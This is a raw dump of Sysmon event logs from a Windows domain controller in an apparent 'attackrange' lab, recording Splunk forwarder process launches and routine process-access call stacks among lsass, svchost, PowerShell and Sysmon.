154100x80000000000000001654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.145{A5F018FF-28D0-5F80-3A00-000000007F01}3844C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvarsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000001653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.045{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.045{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000001651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.012{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Temp\__PSScriptPolicyTest_4rjmjrvt.gop.ps12020-10-09 09:09:36.012 10341000x80000000000000001650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.949{A5F018FF-28D1-5F80-4F00-000000007F01}37683772C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.887{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.887{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4F00-000000007F01}3768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4F00-000000007F01}3768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28D1-5F80-4E00-000000007F01}37323728C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D1-5F80-4F00-000000007F01}3768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.711{A5F018FF-28D1-5F80-4F00-000000007F01}3768C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D1-5F80-4E00-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log 10341000x80000000000000001926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4E00-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 